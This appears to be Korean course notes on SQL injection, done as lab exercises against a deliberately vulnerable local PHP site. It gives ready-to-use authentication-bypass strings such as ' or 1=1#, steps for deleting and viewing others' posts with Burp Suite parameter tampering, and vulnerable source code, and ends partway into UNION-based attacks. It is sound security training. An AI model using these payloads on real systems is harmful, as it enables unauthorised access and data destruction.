1) SQL Injection이란 무엇인가?
SQL은 RDBMS에서 데이터를 관리하기 위해 설계된 특수 목적의 프로그래밍 언어다.
클라이언트와 웹 어플리케이션이 통신할 때 사용자 입력값에 SQL 구문 삽입을 통해 변조된 SQL 구문을 질의함.
이를 통해 데이터 조회, 삭제 등의 다양한 공격이 가능하다.
2) 취약점 발생 원인
1. 공격자는 취약한 웹 어플리케이션을 대상으로 SQL 구문을 삽입한다.
2. Server-Side Script에서 사용자 입력값을 받게되며, 미완성된 SQL 구문이 사용자 입력값을 통해서 완성된 SQL 구문으로 만들어진다. → 취약점 발생(입력 값 검증 없이 구문 조합하게 되는 경우)
3. 완성된 SQL 구문으로 DB에 질의를 요청하게 된다.(변조된 SQL로 질의)
4. DB는 질의에 대한 응답값을 서버로 반환 후, 결과 구성 후 공격자에게 반환한다.
5. 반환된 응답값에는 공격자가 의도한 데이터 또는 쿠키, 세션이 포함되어 있을 수 있다. (공격자가 의도한 행위에 따라 다르다)
JAVA 웹 어플리케이션 예시
String id = request.getParameter("id");
→ id 라는 파라미터로 사용자로부터 값을 받게되면 id 변수를 SQL 문에 대입한다.
String query = "select * from member where id='" + id + "'";
→ 사용자 입력값을 통해서 SQL문이 완성된 후 query 변수에 대입, 이때 취약점이 발생한다.
미완성된 SQL 구문 + 사용자 입력값이 조합될 때 입력값 검증 미흡으로 인해 취약점이 발생한다.
실습2-1 취약점 유/무 판별 방법
insecure 웹 사이트에 admin 계정으로 로그인 후 게시글을 2개 작성한다.
test2를 클릭하면 idx=4를 확인할 수 있는데, 게시글 No가 idx 값을 의미한다는 것을 알 수 있다.
idx=3 → test1
idx=4 → test2
idx=4-1을 입력하고 이동하게되면 test1 게시글로 넘어가게 된다. 즉 idx=3으로 넘어가게 된 것이다.
산술연산이 되는 것을 통해서 취약점 판별이 가능하다. (빠른 취약점 존재 유무 판단 시 유용하다.)
select * from board where idx=4-1 → idx가 3이 되므로 test1 게시글로 이동한다.
사용자 입력(파라미터) - 숫자형
산술 연산자를 통해 판별 가능
$query = "select * from board where idx={$idx}";
String query = "select * from board where idx=" + idx + ";
idx=case when 1=1 then 3 else 4 end 를 입력하여 test1 게시글로 이동할 수 있다.
case when 1=1 then 3 else 4 end → 1=1이 참인 경우 3 출력, 거짓인 경우 4 출력
어플리케이션에서 해당 구문을 해석할 수 있는 것은 아니며 DB로 질의를 해야만 해당 값의 결과가 출력된다.
→ 입력값 검증이 되지 않아서 DB로 질의가 가능하다는 의미로 취약점이 존재하는 것을 알 수 있다.
사용자 입력(파라미터) - 문자형
연결 연산자를 통해 판별 가능
MySQL: 공백
ORACLE: ||
MSSQL: +
te' 'st 입력 → select 'te' 'st'; 와 동일하다.
검색창에 select '' 구문이 있고 ' '안에 te' 'st를 입력한것과 동일하다.
te' 'st 입력 후 test 게시글이 검색이 되면 취약점이 존재한다는 것을 의미한다.
이를 통해 빠르게 취약점 존재 유무 판단이 가능하다.
게시글 검색창에는 select * from board where title like '%%'; 구문이 내재되어 있다고 생각한다.
test%' and '%'=' 입력 시 test 문자열이 포함된 게시글이 검색된다.
→ select * from board where title like '%test%' and '%'='%';
인라인 방식인 경우 이렇게 구문을 입력한다.
인라인 방식(In-Line Query): 조건식의 우선순위를 이용하는 방식
만약 test%' and '1'=1' 입력하면 어떻게 될까?
select * from board where title like'%test%' and '1'='1%'; 과 동일하다.
→ '%test%'는 참이지만 '1'='1%'은 거짓이므로 AND 조건에서는 거짓이 된다.
결과가 거짓이므로 당연히 검색되지 않는다.
항상 해당 검색창에 어떤 구문이 내재되어 있는지 생각하고 SQL 구문을 작성해야 한다.
1을 넣어서 결과를 출력하고 싶다면 test%' and '1%'='1 을 입력하면 test 문자열이 포함된 게시글이 검색된다.
select * from board where title like '%test%' and '1%'='1%';
→ '%test%'는 참, '1%'='1%'도 참이므로 결과가 참이된다.
결과가 참이되므로 test 문자열이 포함된 게시글이 검색된다.
인라인 방식이 아닌 터미네이팅 방식(잘라내는 방식)을 사용해본다.
주석 문자를 사용하여 SQL 구문 뒷부분을 잘라내는 방식의 구문을 입력한다.
주석 문자 사용 시, 주석 문자 이후의 문자열은 모두 무시한다.
터미네이팅 방식(Termination Query): #, -- 등의 주석문자를 통해 쿼리를 주석 처리 하여 뒷 구문을 잘라내는 방식
MySQL 주석 문자: #, (공백)--(공백)
ORACLE, MSSQL 주석문자: --
test%' and 1=1# 입력
select * from board where titile like '%test%' and 1=1#%';
→ '%test%'는 참, 1=1도 참, #부터 뒷 문자 무시하므로 결과가 참이된다.
test%' and 1=1 -- 입력
select * from board where title like '%test%' and 1=1 -- %'
→ '%test%'는 참, 1=1도 참, -- 부터 뒷 문자 무시하므로 결과가 참이된다.
주석 문자를 입력하여 뒤의 구문은 무시하고 '%test%' and 1=1 구문이 참이 되므로 test 문자열이 포함된 게시글이 검색된다.
3) 공격 종류
SQL Injection 공격 종류
- 인증 우회 공격
- 데이터 조회 공격, 데이터 조작 공격
- 시스템 명령어 실행 공격
인증 우회 공격
→ 인증 기능을 수행하는 어플리케이션(로그인 기능)에 정상적인 값(ID, PW)이 아닌 비정상 구문(SQL 구문) 삽입을 통해 인증을 우회(정상 ID, PW 없이 로그인)한다.
인라인 방식(In-line Query): 조건식의 우선순위를 이용하는 방식
터미네이팅 방식(Termination Query): #, -- 등의 주석문자를 통해 쿼리를 주석 처리 하여 뒷 구문을 잘라내는 방식
데이터 조회 공격
→ SQL Injection 취약점이 발생되는 기능에 대해서 SQL 구문 삽입을 통해서 DB내 데이터를 조회하는 공격
→ SQL Injection 공격 시 가장 많이 이루어지는 공격
데이터 조작 공격
→ 데이터 삽입, 수정, 삭제하는 공격
→ 취약점 진단할 때 실제 데이터가 조작될 가능성이 있어 되도록 잘 사용하지 않는다.
시스템 명령어 실행 공격
→ SQL 서버에 시스템 명령어 실행, 제일 취약한 공격으로 볼 수 있다.
→ 크리티컬 하지만 환경적으로 까다로워 취약점이 발생하기 어렵다.
4) 인증 우회 공격이란 무엇인가?
정상 로그인 시에는 정상적인 값(ID/PW)를 입력하여 DB에 ID,PW에 일치하는 데이터가 있으면 사용자에게 반환해준다. (ID는 중복되지 않으므로 1개의 레코드를 반환한다.)
인증 우회 공격은 ID/PW 입력칸에 비정상 구문(SQL 구문)을 입력하여 인증 기능(로그인)을 우회하는 공격이다.
→ 정상 ID/PW 없이 SQL 구문 삽입을 통해서 로그인이 가능한 취약점
→ 정상 ID/PW 없이 특정 사용자 계정에 무단으로 로그인
로그인 성공 → 1개 레코드 반환(0개가 아닌 경우 로그인 될 수 있음, 개발에 따라 다름), 세션&쿠키 발급
로그인 실패 → 0개 레코드 반환, 에러페이지 반환
SELECT * FROM member WHERE id='' or 1=1--' and...
→ id는 값이 없어 거짓, 1=1은 참이되므로 결과는 참이 된다.
→ id 값이 없으므로 member 테이블의 모든 레코드가 반환되며, 레코드 최상위 사용자로 로그인된다.
만약 admin 계정이 있다면 다음과 같이 admin'-- 구문을 입력하여 admin 계정에 비밀번호 없이 로그인이 가능하다.
SELECT * FROM member WHERE id='admin'-- ;
→ admin' 이후 문자열은 무시, id가 admin인 계정으로 로그인
5) 인증 우회 공격 원리
1) 로그인 페이지에 SQL 구문 삽입
2) 로그인 시도 - WAS로 ID,PW 전송
3) 어플리케이션으로 id=' or 1=1 , pw=asdf 전달
4) 사용자 입력값을 조합하여 완성된 SQL 구문이 완성됨
비밀번호에 단방향 암호화가 적용되며, 비밀번호가 전달되면 해시함수로 암호화 처리(어플리케이션 단에서 처리)가 된다, 어플리케이션 단에서 비밀번호가 암호화 처리 된다면 비밀번호는 SQL Injection 공격이 통하지 않는다.
5) SQL 구문 삽입이 되며, -- 주석 처리 문자에 의해 비밀번호가 주석 처리가 되어 DB에 비정상적인 SQL 질의를 하게 된다.
6) DB에서 애플리케이션으로 값을 반환하고, 최종적으로 공격자에게 세션을 발급하게 되어 로그인 된다.
예시(1)
or 연산자를 기준으로 피연산자가 양쪽에 있다.
or 연산자는 피연산자 2개 중 1개만 참이면 결과가 참이된다.
and 연산자는 피연산자 2개가 전부 참이여야 결과가 참이된다.
위의 그림은 or 연산자로 1개만 참이여도 결과가 참이된다.
주석 문자를 통해서 뒤의 문자를 무시하는 것을 Termination Query(터미네이팅 방식)라고 한다.
예시(2)
터미네이팅 방식으로 공격이 불가능한 경우 인라인 방식을 사용한다.
인라인 방식은 논리 연산자의 우선순위를 활용한 방식으로, AND 연산자가 OR 연산자보다 우선순위에 있는 것을 활용하는 방식이다.
실습2-2 인증 우회 공격을 통한 사용자 무단 로그인 실습
인증 기능을 가진 웹 페이지를 대상으로 무단 로그인 실습을 진행한다.
APM Setup 실행 후 127.0.0.1/insecure_website 접속하여, 로그인 페이지에서 무단 로그인 시도한다.
유형(1) - ID를 알고 있는 경우
유형(2) - ID를 모를 경우
구문(1) - In-line Query
구문(2) - Termination Query
실습1
ID를 알고 있는 경우, 인라인 방식 사용
→ admin' or '1' = '1
→ select * from member where id='admin' or '1' = '1' and password=' ';
→ id='admin'은 참, '1'='1' and password=' ' 는 거짓이다. OR 구문을 마지막에 해석하므로 결과적으로 참이다.
admin 계정으로 로그인 되었다.
ID를 알고 있는 경우, 인라인 방식 사용
→ admin' or '1' = '2
→ select * from member where id='admin' or '1' = '2' and password=' ';
→ id='admin'은 참, '1'='2' and password=' ' 는 거짓이다. OR 구문을 마지막에 해석하므로 결과적으로 참이다.
실습2
ID를 알고 있는 경우, 터미네이팅 방식 사용
→ admin'#
→ select * from member where id='admin'#'and password=' ';
admin 계정으로 로그인 되었다.
ID를 알고 있는 경우, 터미네이팅 방식 사용
→ admin'--
→ select * from member where id='admin'-- ' and password=' ';
→ select * from member where id='admin' -- ' and password=' ';
→ MySQL -- 주석 문자 사용 시, --(공백) or (공백)--(공백) 둘 중 하나로 사용하면 된다.
admin 계정으로 로그인 되었다.
실습3
ID를 모를 경우, 인라인 방식 사용
→ ' or 1=1 or '1'='1
→ select * from member where id='' or 1=1 or '1'='1' and password=' ';
→ id='' or '1'='1' 은 참, '1'='1' and password=' ' 는 거짓이다. 마지막에 OR 구문으로 결과는 참이다.
→ ' or 1=1 or '1'='2
→ select * from member where id='' or 1=1 or '1'='2' and password=' ';
→ id='' or '1'='1' 은 참, '1'='2' and password=' ' 는 거짓이다. 마지막에 OR 구문으로 결과는 참이다.
ID를 입력하지 않은 상태에서 둘 다 admin 계정으로 로그인 되었다.
SQL 쿼리를 보면 member 테이블의 모든 레코드가 출력되어야 하지만, 현재 admin 계정만 존재하므로 admin 계정으로 로그인 된 것이다.
실습4
ID를 모를 경우, 터미네이팅 방식 사용
→ ' or 1=1#
→ select * from member where id='' or 1=1#' and password=' ';
→ or 1=1# 뒤의 문구는 무시
→ ' or 1=1--
→ select * from member where id='' or 1=1-- ' and password=' ';
→ or 1=1-- 뒤의 문구는 무시
→ MySQL -- 주석 문자 사용 시, --(공백) or (공백)--(공백) 둘 중 하나로 사용하면 된다.
ID를 입력하지 않은 상태에서 둘 다 admin 계정으로 로그인 되었다.
만약 테이블에 다른 계정이 존재한다면 어떤 계정으로 로그인 하게 될까?
CMD 창을 열고 mysql -u root -p 입력 후 test 를 입력하여 MySQL에 접속한다.
show databses; 입력하여 DB를 확인
use pentest; 입력하여 테이블 확인
select * from members; 입력하여 member 테이블 출력한다.
admin 계정만 존재하는 것을 확인할 수 있다.
이전 실습에서 select * from member where id='' or 1=1#' and password=' '; 입력한 것과,
select * from members where 1=1; 입력한 것이 동일한 결과를 나타내게 된다.
이를 통해 현재 admin 계정만 존재하기 때문에 id에 아무 값이 없어도 SQL 쿼리가 참이되면 admin 계정으로 로그인 된 것으로 알 수 있다.
만약 다른 계정을 추가하게 되면 어떤 계정으로 로그인 하게 될까?
test 계정을 생성 후 다시 ID에 계정을 입력하지 않고, 터미네이팅 방식 사용하여 SQL Injection을 시도한다.
ID에 ' or 1=1# 입력, Password에 임의의 문자 입력 후 로그인 하면 다시 admin 계정으로 로그인 하게 된다.
다시 MySQL에서 select * from members where 1=1; 입력하여 members 테이블에서 계정 정보를 출력한다.
계정 정보를 출력하면 idx=1에는 admin, idx=2에는 test 계정이 존재하는 것을 확인할 수 있다.
ID 정보를 알고 있는 경우 SQL Injection을 하면, ID를 admin으로 타겟팅한 상태로 시도하기 때문에 당연히 admin으로 로그인 되지만, ID를 모르는 상태로 SQL Inejction을 하면 모든 레코드가 참이된다.
실습에서 사용했던 SQL 쿼리를 동일하게 사용하여 레코드를 출력한다.
select * from members where idx='' or 1=1 or '1'='1' and password='';
admin과 test 계정이 출력되는 것을 확인되며, 최상단 레코드 계정이 admin인 것이 확인된다.
근데 왜 admin으로만 로그인 될까?
좀 더 자세히 분석하기 위해 소스코드를 확인한다. (login.php 열기)
파일 위치: C:\APM_Setup\htdocs\insecure_website
< login.php 소스코드 일부>
<?
$db_conn = mysql_conn();
if(!empty($_SESSION["id"])) {
echo "<script>location.href='index.php';</script>";
exit();
}
$id = $_POST["id"];
$password = $_POST["password"];
if(!empty($id) && !empty($password)) {
$password = md5($password);
$query = "select * from members where id='{$id}' and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num != 0) {
$row = $result->fetch_assoc();
$_SESSION["id"] = $row["id"];
$_SESSION["name"] = $row["name"];
echo "<script>location.href='index.php';</script>";
} else {
echo "<script>alert('아이디 혹은 패스워드가 틀렸습니다.');location.href='index.php?page=login';</script>";
exit();
}
}
?>
$row = $result->fetch_assoc();
$_SESSION["id"] = $row["id"];
$_SESSION["name"] = $row["name"];
num_rows() - 레코드 개수를 반환
fetch_assoc() - 반환된 결과를 배열에 저장
소스코드를 보면 fetch_assoc()로 결과를 받아온 후 row에 저장한다.
→ 최상위 레코드(admin)를 받아서 각 SESSION 값에 넣는다.
그러므로 아래 쿼리가 수행되면 최상위 레코드에 있는 계정으로 로그인 된다는 의미이다.
select * from members where idx='' or 1=1 or '1'='1' and password='';
만약 test가 상위 레코드에 있는 경우, admin이 아닌 test 계정으로 로그인 된다.
delete from members;
→ members 테이블 삭제한다.
test 계정을 먼저 생성 후, admin 계정을 생성한다.
MySQL에서 확인 시 2개 계정 모두 생성된 것을 확인할 수 있다.
select * from members;
select * from members where idx='' or 1=1 or '1'='1' and password=''; 입력 시 test 계정이 최상위에 있는 것을 확인할 수 있다.
login.php 소스코드에 의해 이전에 작성한 SQL Injection 쿼리 실행 시 최상위 레코드의 계정으로 로그인되어야 한다.
로그인 페이지에서 SQL 쿼리를 실행한다.
ID에 ' or 1=1 or '1'='1 입력, Password에 임의의 문자열 입력 후 로그인 한다.
로그인 후 MyPage를 확인하면 test 계정으로 접속된 것을 확인할 수 있다.
ID 칸에는 SQL Injection이 발생하지만, Password 칸에는 취약점이 발생하지 않는 이유는 Password가 MD5 해시함수를 적용하여 암호화 되었기 때문이다. → $password = md5($password);
그러므로 비밀번호에 싱글쿼터를 삽입해도 MD5 해시값으로 바뀌게되므로 SQL Injection 이 발생하지 않는다.
실습2-3 인증 우회 공격을 통한 비밀글 무단 열람 실습
admin 관리자 계정으로 로그인 후 비밀글을 작성한다.
비밀글 작성 후 인증 우회 공격을 통해서 타 사용자가 해당 게시글을 열람해본다.
먼저 admin 계정으로 로그인 후 비밀글을 작성한다.
admin 계정 로그아웃 후 비밀글 열람을 시도한다.
비밀글을 열람하려면 작성자가 설정한 비밀번호를 알아야하는데, 이때 비밀글의 Password 칸에 SQL Injection을 시도해본다.
Injection을 시도하기 전에 Server Side에 SQL 구문이 어떻게 형성되어 있는지 생각해본다.
select * from board where idx='' and password=''; 이렇게 작성되어 있을것으로 예상된다.
만약 password가 md5가 적용이 안되어 있는 상태라면 password 칸에 터미네이팅 방식으로 ' or 1=1# 을 입력하면 비밀글 열람이 가능하다. (해시함수를 어플리케이션단에서 적용하면 공격이 불가능하다.)
Server Side에 설정된 예상 쿼리
→ select * from member where idx='' and password='';
password 칸에 입력한 SQL Injection 구문
→ ' or 1=1#
→ ' or 1=1 --
→ ' or 1=1 or '1'='1
하지만 현재 비밀글 열람이 가능한 이유는 전체 게시글 중에 비밀글만 있기 때문이다.
select * from board where idx=5 and password='' or 1=1#';
→ idx 값과 상관없이 참이 되므로 모든 게시글이 조회된다.
→ 비밀글이 최상위 레코드에 존재할 때만 비밀글 열람이 가능하다.
만약 다수의 게시글이 존재한다면 비밀글 열람을 어떻게 해야 할까?
비밀글이 최상위 게시글이 아닌 다른 일반 게시글이 여러 개 있으면 어떻게 비밀글 열람을 할까?
먼저 다른 일반 게시글 생성 후 비밀 게시글을 생성한다.
이때 일반 게시글이 최상위 레코드에 존재하게 된다.
기존처럼 비밀 게시글 password칸에 SQL Injection 쿼리 ' or 1=1# 을 입력하니 일반 게시글로 열람되는 것을 확인할 수 있다.
최상위 레코드에 비밀글이 아닌 일반 게시글이 존재하므로 비밀글의 Password 칸에 SQL Injection을 해도 일반 게시글이 열람된다.
소스코드를 확인하기 위해 view.php를 연다
파일 위치: C:\APM_Setup\htdocs\insecure_website
< view.php 소스코드 일부)
<?
$db_conn = mysql_conn();
$idx = $_REQUEST["idx"];
$password = $_POST["password"];
if(empty($password)) {
$query = "select * from {$tb_name} where idx={$idx} and secret='n'";
} else {
$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
}
$result = $db_conn->query($query);
$num = $result->num_rows;
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">View Page</h1>
<hr>
</div>
<div class="container">
<?
if($num != 0) {
$row = $result->fetch_assoc();
?>
num_rows() - 레코드 개수를 반환
fetch_assoc() - 반환된 결과를 배열에 저장
소스코드를 보면 select * from {$tb_name} where idx={$idx} and password='{$password}' 로 확인되며, 이전에 추측한 select * from board where idx='' and password=''; 와 유사하다는 것을 알 수 있다.
SQL 쿼리가 실행이 된 후 최상위 레코드가 반환이 되는 것을 확인할 수 있다. → $row = $result->fetch_assoc();
MySQL에서 SQL Injection 시 작성한 쿼리를 SQL 구문으로 조회 하면 아래와 같이 전체 레코드가 조회되며, idx가 6인 일반게시글이 최상위 레코드인 것을 알 수 있다.
→ select * from insecure_board where idx=7 and password='' or 1=1#';
SQL Injection 공격을 할 때 비밀게시글이 항상 최상위 레코드에 있다는 보장이 없으므로, 비밀 게시글로 타겟을 정해서 열람해야 한다.
어떻게 비밀 게시글을 타겟을 정해서 열람 할 수 있을까?
→ 웹 사이트의 idx 파라미터와 DB에서 idx 컬럼이 동일하다는 것을 유추해서 웹 사이트의 idx 값을 조작한다.
' or idx=7 and 1=1# 또는 ' or idx=7 and '1'='1 으로 SQL Injection 구문을 변경해서 비밀게시글 Password 칸에 입력한다.
변경된 SQL Injection 구문은 DB에 다음과 같은 SQL 쿼리로 질의하게 된다.
select * from insecure_board where idx=7 and password=''or idx=7 and 1=1#';
select * from insecure_board where idx=7 and password=''or idx=7 and '1'='1';
→ idx=7 and password='' 는 거짓이 되며, or idx=7 and 1=1#은 참이 되므로 idx=7을 타겟팅한 게시글을 열람하게된다.
→ ' or idx=7 or 1=1# 을 하게되면, idx가 7이 아니여도 모든 레코드가 출력되므로 최상위 레코드인 일반게시글이 열람된다. 그러므로 AND 조건으로 idx=7 로 타게팅해서 SQL Injecition 을 시도해야 한다.
MySQL에서 OR 구문 사용하여 SQL 쿼리로 조회 시 모든 게시글이 조회된다.
MySQL에서 AND 구문을 사용하여 SQL 쿼리로 조회 시 다음과 같이 idx=7 게시글이 조회된다.
select * from insecure_board where idx=7 and password=''or idx=7#';
좀 더 간단히 SQL Injection 구문을 사용한다면 ' or idx=7# 을 입력하여 터미네이팅 방식을 사용한다.
MySQL 에서 조회 시 idx가 7인 게시글이 출력된다.
무조건 참을 만들어서 인증 우회를 하는 것이 아닌, 목표로 하는 게시글을 열람하기 위해서 SQL Injection 쿼리를 어떻게 작성해야 하며, Server Side 에서는 어떤식으로 코드가 작성되어 있는지 고민해볼 필요가 있다.
실습2-4 인증 우회 공격을 통한 게시글 무단 삭제 실습
test 계정으로 insecure_website 로그인하여 다른 계정으로 작성한 게시글을 삭제 해본다.
test 게시글을 먼저 작성한다.
다른 계정으로 작성한 게시글은 클릭했을 때 Modify(수정)와 Delete(삭제) 버튼이 없지만, test 계정으로 작성한 계정에서는 확인할 수 있다. 이를 통해 Modify 와 Delete 버튼을 클릭했을때의 액션을 확인하고 다른 게시글에도 똑같이 적용하면 될 것 같다.
test 게시글의 Delete 버튼을 클릭하면 Password를 입력하는 칸이 나온다.
이를 통해 게시글에 등록된 비밀번호를 입력해서 게시글을 삭제하는 매커니즘이라는 것을 알 수 있다.
상단 URL을 보면 delete&idx=8이 확인되는데, 이를 통해 다른 게시글 삭제 시 어떤 쿼리를 작성해야하는지 유추가 가능하다.
버프스위트를 켜고 게시글 삭제가 어떻게 이루어지는 확인해본다.
Password 에 아무 문자를 입력하고 버프스위트에서 Intercept On을 하고 Auth 를 클릭하여 삭제 요청을 한다.
버프스위트에서 ctrl + R을 입력하여 리피터로 보낸다.
리피터에서 확인하면 password와 idx가 확인되는데, 이때 삭제하고자 하는 idx를 변경해주고, password는 임의의 문자로 변경한다. 만약 해당 공격이 성공하게된다면 파라미터 변조 취약점으로 볼 수 있다.
비밀 게시글 삭제를 위해 idx를 7로 변경 후 Send(Ctrl + space)를 클릭하여 요청을 전송한다.
아래와 같이 패스워드가 일치하지 않는다는 문구가 확인되며 이를 통해 비밀번호 검증 로직이 존재하는것을 알 수 있다.
삭제 절차는 다음 두 가지로 유추할 수 있다.
1) 비밀번호 검증 후 해당 게시글 삭제 → 비밀번호 검증 로직 + 삭제 로직, 2개의 쿼리로 이루어져 있음
2) 비밀번호 검증 + 게시글 삭제 동시 진행 → 비밀번호 검증 로직과 삭제 로직이 1개 쿼리로 이루어져 있음
1번의 삭제 절차로 진행되는 경우 SQL 쿼리는 다음과 같이 유추할 수 있다.
select * from board where idx=7 and password ='';
delete from board where idx=7;
2번의 삭제 절차로 진행되는 경우 SQL 쿼리는 다음과 같이 유추할 수 있다.
delete from board where idx=7 and password='';
1번의 삭제 절차로 진행되는 경우 SQL Injection 쿼리는 다음과 같이 작성한다.
' or 1=1# 을 입력하여 터미네이팅 방식으로 참을 만드는 쿼리를 입력한다.
select * from board where idx=7 and password='' or 1=1#'
버프스위트 리피터에서 작성 시에는 '+or+1=1%23 으로 작성한다.
프록시에서 Server Side로 전송할 때는 URL 인코딩을 직접해줘야 하기 때문에 변경해서 작성해준다.
URL 인코딩은 여기를 참고한다.
ctrl + space(Send) 입력 후 서버로 해당 요청을 전송하면 다음과 같이 삭제된 것을 확인할 수 있다.
게시글을 보면 idx=7 게시글이 삭제된 것을 확인할 수 있다.
자세한 분석을 위해 소스코드를 확인한다. (action.php 열기)
파일위치: C:\APM_Setup\htdocs\insecure_website
< action.php 소스코드 일부 >
} else if($mode == "delete") {
$idx = $_POST["idx"];
$password = $_POST["password"];
# Password Check Logic
$query = "select * from {$tb_name} where idx={$idx} and password='{$password}'";
$result = $db_conn->query($query);
$num = $result->num_rows;
if($num == 0) {
echo "<script>alert('패스워드가 일치하지 않습니다.');history.back(-1);</script>";
exit();
}
$query = "delete from {$tb_name} where idx={$idx}";
$db_conn->query($query);
}
echo "<script>location.href='index.php';</script>";
$db_conn->close();
?>
num_rows() - 레코드 개수를 반환
$idx와 $password 변수에 각 POST 요청으로 보낸 idx와 password 파라미터 값을 저장한다.
1번 삭제 절차와 동일한 비밀번호 검증 로직 이후 게시글을 삭제를 하기 때문에, 비밀번호 검증 쿼리를 참으로 만드는 SQL Injection 쿼리로 우회 후 게시글을 삭제하였다.
소스코드를 보면 select * from {$tb_name} where idx=7 and password='' or 1=1# ' 쿼리로 요청을 보내면, idx=7의 게시글이 아닌 게시글 전체가 출력되게 된다.
→ idx=7 and password='' 는 거짓이되고, ' or 1=1#은 참이되므로 idx 값과 상관없이 모든 게시글이 출력된다.
$num = $result->num_rows;
→ 쿼리에 의해 출력된 데이터를 반환받는 코드로, 모든 게시글이 출력되면 0을 초과하게된다.
→ $num 에 0을 초과하는 값이 저장된다.
if($num == 0)
→ 출력된 레코드가 0인 경우에만 패스워드가 일치하지 않는 코드이다. (출력된 레코드 여부 확인)
→ 모든 게시글을 출력하게되면, 출력된 레코드가 0을 초과하게 되어 비밀번호 검증 로직을 우회하는 현상이 발생하게 된다.
결국 전체 게시글이 출력되면 출력된 레코드가 0을 초과하기 때문에 비밀번호 검증 로직에서 비밀번호를 입력하지 않고도 우회하게된다. 이후 delete from {$tb_name} where idx={$idx}; 코드에 의해 기존에 입력했던 idx=7이 전달되어 idx가 7인 게시글이 삭제된다.
만약 비밀번호 검증 로직과 게시글 삭제 로직이 1개의 쿼리에 존재한다면 어떻게 될까?
기존의 비밀번호 검증 로직이 삭제되고 게시글 삭제 로직의 코드를 다음과 같이 수정한다고 가정한다.
delete from {$tb_name} where idx={$idx} and password={$password};
delete from board where idx=7 and password='' or 1=1#';
→ idx=7 and password='' 는 거짓이되고, ' or 1=1#은 참이되므로 idx 값과 상관없이 모든 게시글이 삭제된다.
그러므로 비밀번호 검증 로직과 게시글 삭제 로직을 1개의 쿼리에 적용한다면 굉장히 위험하다.
또한 실제 취약점 진단 시 운영중인 게시판에 영향이 있을 수 있으므로 게시글 수정 및 삭제와 관련된 SQL Injection은 지양해야 한다. (특히 where 절이 포함된 구문)
실습2-5 idx 파라미터가 취약할 경우 인증 우회 공격 방법
password 파라미터가 아닌 idx 파라미터가 취약한 경우 어떻게 인증 우회를 할 것인가?
idx 파라미터는 취약점이 자주 발생하는 경우가 많아 입력값 검증이 되어 있는 경우가 많다.
관리자 계정으로 로그인 후 비밀 게시글을 작성한다.
해당 비밀 게시글을 클릭 후 임의의 문자열을 Password 칸에 입력한다.
버프스위트를 켜고 Intercept On 후 게시글의 Auth를 클릭하여 요청을 전송한다.
서버에서 DB로 전송될 SQL 구문은 다음과 같이 추측이 가능하다.
select * from board where idx=9 and password='aa';
만약 idx 파라미터에 입력값 검증 취약점이 존재한다면, idx=9# 를 입력하면 뒤에 password 구문은 무시하게 되어 인증을 우회할 수 있다. 프록시에서 서버로 전송 시 URL 인코딩을 해야 하니 #을 %23으로 치환하여 입력한다.
이번에는 test 계정으로 접속 후 test 게시글을 작성 후에 비밀 게시글 삭제를 시도한다.
test 게시글 클릭 후 Delete 를 클릭하여 삭제를 시도한다.
idx 취약점을 활용하여 idx=10 을 idx=9#으로 변경하여 삭제를 시도한다.
버프스위트에서 Intercept On 후에 게시글의 Password 칸에 임의의 문자열을 입력 후 Auth를 클릭하여 요청을 가로챈다. 프록시에서 서버로 요청을 전송할 때는 URL 인코딩을 해야하므로 메시지 바디값에 idx=9%23 를 입력 후 Forward를 하게되면 비밀글이 삭제되는 것을 확인할 수 있다.
idx 및 password 파라미터가 취약할 수 있으니, 사용자 입력값이 들어가는 모든 파라미터에 입력값 검증 로직이 필요하다.
6) 데이터 조회 공격이란 무엇인가?
SQL 구문 삽입을 통해서 DB내의 데이터를 조회하는 공격으로 SQL Injection 공격 시에 가장 많이 사용되는 공격이다.
DB의 데이터를 조회하는 것이 왜 위험할까?
DB내 여러 정보가 저장되어 있는데, 중요하지 않은 정보도 있지만 여러 중요한 정보(고객 데이터, 계정 정보, 회사 내 기밀정보 등)가 저장되어 있다. 이런 중요 정보가 공격자에 의해 탈취되면 다양한 공격이 발생할 수 있다.
개인 정보를 탈취하여 판매할 수도 있으며, 계정 정보를 탈취하여 다른 사이트에 로그인을 시도하는 등 다양한 공격으로 활용 할 수 있다.
7) 데이터 조회 공격 기법 종류
Error-Based
→ DBMS 에러를 통해서 공격자가 의도하는 데이터를 조회하는 공격
- 어플리케이션 에러가 발생한다고 해서 Error-Based 공격이 가능한 것이 아니다.
- 핵심은 어플리케이션 에러가 발생하지 않더라도 DBMS 에러가 노출이 되어야 가능하다.
- 공격이 성립되려면 DBMS의 에러가 WAS를 거쳐서 클라이언트에게 전달되어야 성립된다. 만약 WAS의 에러만 클라이언트에 반환되면 공격이 성립되지 않는다. DBMS 에러 내에 공격자가 의도한 데이터를 담기 때문이다.
- 개발자가 디버깅 용도로 DBMS 에러를 사용하는 경우가 있다.
Blind-Based와 Union Based 공격은 빈번하게 발생하는 데이터 조회 공격이다.
Out-of-band
→ 대역 외 공격 기법으로, DBMS가 특정 IP(공격자가 지정한)로 HTTP, DNS 요청을 하는데, 요청 내에 공격자가 요청한 데이터가 담겨있다.
공격자가 의도한 데이터가 응답값에 실리는 공격을 In-band 공격이라 한다.
8) UNION-BASED 공격이란 무엇인가?
SQL의 Union 구문을 사용하여 공격자가 의도한대로 데이터베이스가 반환하는 데이터를 변조하는 공격
Union 이란?
- 여러 쿼리문들을 합쳐서 하나의 쿼리문으로 만들어주는 방법
- 2개 이상의 SELECT 쿼리 결과를 하나로 연합시켜주는 집합 연산자
Union-Based 공격은 특성상 속도가 제일 빠르며, 주요 타겟은 게시판 목록의 검색 기능이다.
→ 특정 테이블에 대해 다수의 레코드가 반환되기 때문에
공격 속도는 다음과 같다.
Union-Based > Error-Based >>> Blind-Based
실습2-6 UNION-BASED 공격을 통한 중요 정보 탈취 실습
DB에서 웹 페이지로 데이터를 출력시키는 환경이 Union-Based 공격에 적합한 환경이다. (SQL Injection 취약점이 존재해야 한다.)
게시판 검색 기능에서 SQL Injection 유무를 확인해야 한다.
게시판 검색 기능을 SQL 쿼리로 다음과 같이 추측된다.
select * from board where title like '%검색어%';
검색창에 test%' and 1=1# 입력해본다.
서버에서 DB로 다음 SQL 쿼리를 사용하여 질의할 것으로 추측된다.
→ select * from insecure_board where title like '%test%' and 1=1#%';
test%' and 1=1# 을 입력하니 test 게시글이 검색된다. → 참
test%' and 1=2# 을 입력하면 검색되지 않는다. → 거짓
